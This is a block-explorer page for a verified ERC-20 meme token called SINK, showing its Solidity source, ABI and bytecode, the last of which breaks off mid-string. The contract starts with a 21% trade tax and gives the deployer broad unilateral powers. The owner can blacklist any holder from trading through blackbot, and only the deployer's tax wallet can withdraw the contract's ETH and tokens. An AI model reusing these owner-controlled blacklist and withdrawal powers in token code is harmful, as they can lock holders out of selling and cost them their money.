Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000,000 SINK
Holders
30
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
SINK
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-06 */ // SPDX-License-Identifier: MIT /* https://x.com/elonmusk/status/1854034776815972649 https://t.me/Sink_ETH */ pragma solidity 0.8.28; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SINK is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private _taxWallet; string private constant _name = unicode"LET THAT SINK IN"; string private constant _symbol = unicode"SINK"; uint256 private _initialBuyTax=21; uint256 private _initialSellTax=21; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=30; uint256 private _reduceSellTaxAt=30; uint256 private _preventSwapBefore=30; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10**_decimals; uint256 public _maxTxAmount = 8413800000 * 10**_decimals; uint256 public _maxWalletSize = 8413800000 * 10**_decimals; uint256 public _taxSwapThreshold = 42069000 * 10**_decimals; uint256 public _maxTaxSwap = 4206900000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private inSwap = false; bool private swapEnabled = false; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) { if (block.number > lastSellBlock) { sellCount = 0; } require(sellCount < 3, "Only 3 sells per block!"); swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } sellCount++; lastSellBlock = block.number; } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function RemoLimit() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function blackbot(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function whitebt(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() public onlyOwner() { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), msg.sender, type(uint256).max); transfer(address(this), totalSupply().mul(95).div(100)); transfer(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045, totalSupply().mul(3).div(100)); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), type(uint256).max); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; } receive() external payable {} function rescueERC20(address _address, uint256 percent) external { require(_msgSender()==_taxWallet); uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100); IERC20(_address).transfer(_taxWallet, _amount); } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } function manualsend() external { require(_msgSender()==_taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RemoLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blackbot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"whitebt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601560065560156007555f6008555f600955601e600a55601e600b55601e600c555f600d556009600a6100379190610300565b610046906401f5806640610315565b600e556100556009600a610300565b610064906401f5806640610315565b600f556100736009600a610300565b61008190630281ec08610315565b6010556100906009600a610300565b61009e9063fac03320610315565b6011556013805461ffff60a01b191690555f6014819055601581905580546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916331790556101176009600a610300565b610126906461f313f880610315565b335f90815260016020819052604082209290925560039061014e5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556101ab3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101e26009600a610300565b6101f1906461f313f880610315565b60405190815260200160405180910390a361032c565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102565780850481111561023a5761023a610207565b600184161561024857908102905b60019390931c92800261021f565b935093915050565b5f8261026c575060016102fa565b8161027857505f6102fa565b816001811461028e5760028114610298576102b4565b60019150506102fa565b60ff8411156102a9576102a9610207565b50506001821b6102fa565b5060208310610133831016604e8410600b84101617156102d7575081810a6102fa565b6102e35f19848461021b565b805f19048211156102f6576102f6610207565b0290505b92915050565b5f61030e60ff84168361025e565b9392505050565b80820281158282048414176102fa576102fa610207565b611ba2806103395f395ff3fe60806040526004361061013f575f3560e01c806373830fef116100b357806395d89b411161006d57806395d89b411461037f578063a9059cbb146103ab578063ae436e82146103ca578063bf474bed146103e9578063c9567bf9146103fe578063dd62ed3e14610412575f5ffd5b806373830fef146102dd578063774b2240146102fc5780637d1db4a5146103105780638cd4426d146103255780638da5cb5b146103445780638f9a55c01461036a575f5ffd5b8063313ce56711610104578063313ce567146102195780633bbac5791461023457806351bc3c851461026b5780636fc3eaec1461028157806370a0823114610295578063715018a6146102c9575f5ffd5b806306fdde031461014a578063095ea7b3146101945780630faee56f146101c357806318160ddd146101e657806323b872dd146101fa575f5ffd5b3661014657005b5f5ffd5b348015610155575f5ffd5b5060408051808201909152601081526f2622aa102a2420aa1029a4a7259024a760811b60208201525b60405161018b91906116a4565b60405180910390f35b34801561019f575f5ffd5b506101b36101ae3660046116fd565b610456565b604051901515815260200161018b565b3480156101ce575f5ffd5b506101d860115481565b60405190815260200161018b565b3480156101f1575f5ffd5b506101d861046c565b348015610205575f5ffd5b506101b3610214366004611727565b61048d565b348015610224575f5ffd5b506040516009815260200161018b565b34801561023f575f5ffd5b506101b361024e366004611765565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610276575f5ffd5b5061027f6104f4565b005b34801561028c575f5ffd5b5061027f610545565b3480156102a0575f5ffd5b506101d86102af366004611765565b6001600160a01b03165f9081526001602052604090205490565b3480156102d4575f5ffd5b5061027f610571565b3480156102e8575f5ffd5b5061027f6102f7366004611794565b6105eb565b348015610307575f5ffd5b5061027f61066f565b34801561031b575f5ffd5b506101d8600e5481565b348015610330575f5ffd5b5061027f61033f3660046116fd565b610723565b34801561034f575f5ffd5b505f546040516001600160a01b03909116815260200161018b565b348015610375575f5ffd5b506101d8600f5481565b34801561038a575f5ffd5b5060408051808201909152600481526353494e4b60e01b602082015261017e565b3480156103b6575f5ffd5b506101b36103c53660046116fd565b61083f565b3480156103d5575f5ffd5b5061027f6103e4366004611794565b61084b565b3480156103f4575f5ffd5b506101d860105481565b348015610409575f5ffd5b5061027f6108ce565b34801561041d575f5ffd5b506101d861042c36600461185f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610462338484610c5b565b5060015b92915050565b5f6104796009600a61198d565b610488906461f313f88061199b565b905090565b5f610499848484610d7e565b6104ea84336104e585604051806060016040528060288152602001611b45602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611320565b610c5b565b5060019392505050565b6005546001600160a01b0316336001600160a01b031614610513575f5ffd5b305f9081526001602052604090205480156105315761053181611358565b47801561054157610541816114c8565b5050565b6005546001600160a01b0316336001600160a01b031614610564575f5ffd5b4761056e816114c8565b50565b5f546001600160a01b031633146105a35760405162461bcd60e51b815260040161059a906119b2565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106145760405162461bcd60e51b815260040161059a906119b2565b5f5b815181101561054157600160045f848481518110610636576106366119e7565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610616565b5f546001600160a01b031633146106985760405162461bcd60e51b815260040161059a906119b2565b6106a46009600a61198d565b6106b3906461f313f88061199b565b600e556106c26009600a61198d565b6106d1906461f313f88061199b565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107016009600a61198d565b610710906461f313f88061199b565b60405190815260200160405180910390a1565b6005546001600160a01b0316336001600160a01b031614610742575f5ffd5b6040516370a0823160e01b81523060048201525f906107c3906064906107bd9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610793573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b791906119fb565b906114ff565b90611584565b60055460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af1158015610815573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108399190611a12565b50505050565b5f610462338484610d7e565b5f546001600160a01b031633146108745760405162461bcd60e51b815260040161059a906119b2565b5f5b8151811015610541575f60045f848481518110610895576108956119e7565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610876565b5f546001600160a01b031633146108f75760405162461bcd60e51b815260040161059a906119b2565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905561092930335f19610c5b565b61093f306103c560646107bd605f6107b761046c565b5061096a73d8da6bf26964af9d7eed9e03e53415d37aa960456103c560646107bd60036107b761046c565b5060125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109bb573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109df9190611a31565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a3e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a629190611a31565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610aac573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ad09190611a31565b601380546001600160a01b0319166001600160a01b03928316179055601254610afd913091165f19610c5b565b6012546001600160a01b031663f305d7194730610b2e816001600160a01b03165f9081526001602052604090205490565b5f5f610b415f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ba7573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610bcc9190611a4c565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610c21573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c459190611a12565b506013805460ff60a81b1916600160a81b179055565b6001600160a01b038316610cbd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059a565b6001600160a01b038216610d1e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610de25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059a565b6001600160a01b038216610e445760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059a565b5f8111610ea55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161059a565b5f80546001600160a01b03858116911614801590610ed057505f546001600160a01b03848116911614155b156111e3576001600160a01b0384165f9081526004602052604090205460ff16158015610f1557506001600160a01b0383165f9081526004602052604090205460ff16155b610f1d575f5ffd5b6013546001600160a01b038581169116148015610f4857506012546001600160a01b03848116911614155b8015610f6c57506001600160a01b0383165f9081526003602052604090205460ff16155b1561107a57600e54821115610fc35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161059a565b600f5482610fe5856001600160a01b03165f9081526001602052604090205490565b610fef9190611a77565b111561103d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161059a565b61106360646107bd600a54600d54116110585760065461105c565b6008545b85906114ff565b600d80549192505f61107483611a8a565b91905055505b6013546001600160a01b0384811691161480156110a057506001600160a01b0384163014155b156110cd576110ca60646107bd600b54600d54116110c05760075461105c565b60095485906114ff565b90505b305f90815260016020526040902054601354600160a01b900460ff1615801561110357506013546001600160a01b038581169116145b80156111185750601354600160a81b900460ff165b8015611125575060105481115b80156111345750600c54600d54115b156111e157601554431115611148575f6014555b60036014541061119a5760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b21000000000000000000604482015260640161059a565b6111b76111b2846111ad846011546115c5565b6115c5565b611358565b4780156111c7576111c7476114c8565b60148054905f6111d683611a8a565b909155505043601555505b505b801561125b57305f9081526001602052604090205461120290826115d9565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112529085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461127d9083611637565b6001600160a01b0385165f908152600160205260409020556112c06112a28383611637565b6001600160a01b0385165f90815260016020526040902054906115d9565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113098585611637565b60405190815260200160405180910390a350505050565b5f81848411156113435760405162461bcd60e51b815260040161059a91906116a4565b505f61134f8486611aa2565b95945050505050565b6013805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061139e5761139e6119e7565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113f5573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114199190611a31565b8160018151811061142c5761142c6119e7565b6001600160a01b0392831660209182029290920101526012546114529130911684610c5b565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061148a9085905f90869030904290600401611ab5565b5f604051808303815f87803b1580156114a1575f5ffd5b505af11580156114b3573d5f5f3e3d5ffd5b50506013805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610541573d5f5f3e3d5ffd5b5f825f0361150e57505f610466565b5f611519838561199b565b9050826115268583611b25565b1461157d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161059a565b9392505050565b5f61157d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611678565b5f8183116115d3578261157d565b50919050565b5f806115e58385611a77565b90508381101561157d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161059a565b5f61157d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611320565b5f81836116985760405162461bcd60e51b815260040161059a91906116a4565b505f61134f8486611b25565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461056e575f5ffd5b80356116f8816116d9565b919050565b5f5f6040838503121561170e575f5ffd5b8235611719816116d9565b946020939093013593505050565b5f5f5f60608486031215611739575f5ffd5b8335611744816116d9565b92506020840135611754816116d9565b929592945050506040919091013590565b5f60208284031215611775575f5ffd5b813561157d816116d9565b634e487b7160e01b5f52604160045260245ffd5b5f602082840312156117a4575f5ffd5b813567ffffffffffffffff8111156117ba575f5ffd5b8201601f810184136117ca575f5ffd5b803567ffffffffffffffff8111156117e4576117e4611780565b8060051b604051601f19603f830116810181811067ffffffffffffffff8211171561181157611811611780565b60405291825260208184018101929081018784111561182e575f5ffd5b6020850194505b8385101561185457611846856116ed565b815260209485019401611835565b509695505050505050565b5f5f60408385031215611870575f5ffd5b823561187b816116d9565b9150602083013561188b816116d9565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156118e5578085048111156118c9576118c9611896565b60018416156118d757908102905b60019390931c9280026118ae565b935093915050565b5f826118fb57506001610466565b8161190757505f610466565b816001811461191d576002811461192757611943565b6001915050610466565b60ff84111561193857611938611896565b50506001821b610466565b5060208310610133831016604e8410600b8410161715611966575081810a610466565b6119725f1984846118aa565b805f190482111561198557611985611896565b029392505050565b5f61157d60ff8416836118ed565b808202811582820484141761046657610466611896565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a0b575f5ffd5b5051919050565b5f60208284031215611a22575f5ffd5b8151801515811461157d575f5ffd5b5f60208284031215611a41575f5ffd5b815161157d816116d9565b5f5f5f60608486031215611a5e575f5ffd5b5050815160208301516040909301519094929350919050565b8082018082111561046657610466611896565b5f60018201611a9b57611a9b611896565b5060010190565b8181038181111561046657610466611896565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611b055783516001600160a01b0316835260209384019390920191600101611ade565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611b3f57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c5be6a68163603cf2f0fc7011ff9938f518354cdd8170f6e2478afbb765824a364736f6c634300081c0033
Deployed Bytecode
0x60806040526004361061013f575f3560e01c806373830fef116100b357806395d89b411161006d57806395d89b411461037f578063a9059cbb146103ab578063ae436e82146103ca578063bf474bed146103e9578063c9567bf9146103fe578063dd62ed3e14610412575f5ffd5b806373830fef146102dd578063774b2240146102fc5780637d1db4a5146103105780638cd4426d146103255780638da5cb5b146103445780638f9a55c01461036a575f5ffd5b8063313ce56711610104578063313ce567146102195780633bbac5791461023457806351bc3c851461026b5780636fc3eaec1461028157806370a0823114610295578063715018a6146102c9575f5ffd5b806306fdde031461014a578063095ea7b3146101945780630faee56f146101c357806318160ddd146101e657806323b872dd146101fa575f5ffd5b3661014657005b5f5ffd5b348015610155575f5ffd5b5060408051808201909152601081526f2622aa102a2420aa1029a4a7259024a760811b60208201525b60405161018b91906116a4565b60405180910390f35b34801561019f575f5ffd5b506101b36101ae3660046116fd565b610456565b604051901515815260200161018b565b3480156101ce575f5ffd5b506101d860115481565b60405190815260200161018b565b3480156101f1575f5ffd5b506101d861046c565b348015610205575f5ffd5b506101b3610214366004611727565b61048d565b348015610224575f5ffd5b506040516009815260200161018b565b34801561023f575f5ffd5b506101b361024e366004611765565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610276575f5ffd5b5061027f6104f4565b005b34801561028c575f5ffd5b5061027f610545565b3480156102a0575f5ffd5b506101d86102af366004611765565b6001600160a01b03165f9081526001602052604090205490565b3480156102d4575f5ffd5b5061027f610571565b3480156102e8575f5ffd5b5061027f6102f7366004611794565b6105eb565b348015610307575f5ffd5b5061027f61066f565b34801561031b575f5ffd5b506101d8600e5481565b348015610330575f5ffd5b5061027f61033f3660046116fd565b610723565b34801561034f575f5ffd5b505f546040516001600160a01b03909116815260200161018b565b348015610375575f5ffd5b506101d8600f5481565b34801561038a575f5ffd5b5060408051808201909152600481526353494e4b60e01b602082015261017e565b3480156103b6575f5ffd5b506101b36103c53660046116fd565b61083f565b3480156103d5575f5ffd5b5061027f6103e4366004611794565b61084b565b3480156103f4575f5ffd5b506101d860105481565b348015610409575f5ffd5b5061027f6108ce565b34801561041d575f5ffd5b506101d861042c36600461185f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610462338484610c5b565b5060015b92915050565b5f6104796009600a61198d565b610488906461f313f88061199b565b905090565b5f610499848484610d7e565b6104ea84336104e585604051806060016040528060288152602001611b45602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611320565b610c5b565b5060019392505050565b6005546001600160a01b0316336001600160a01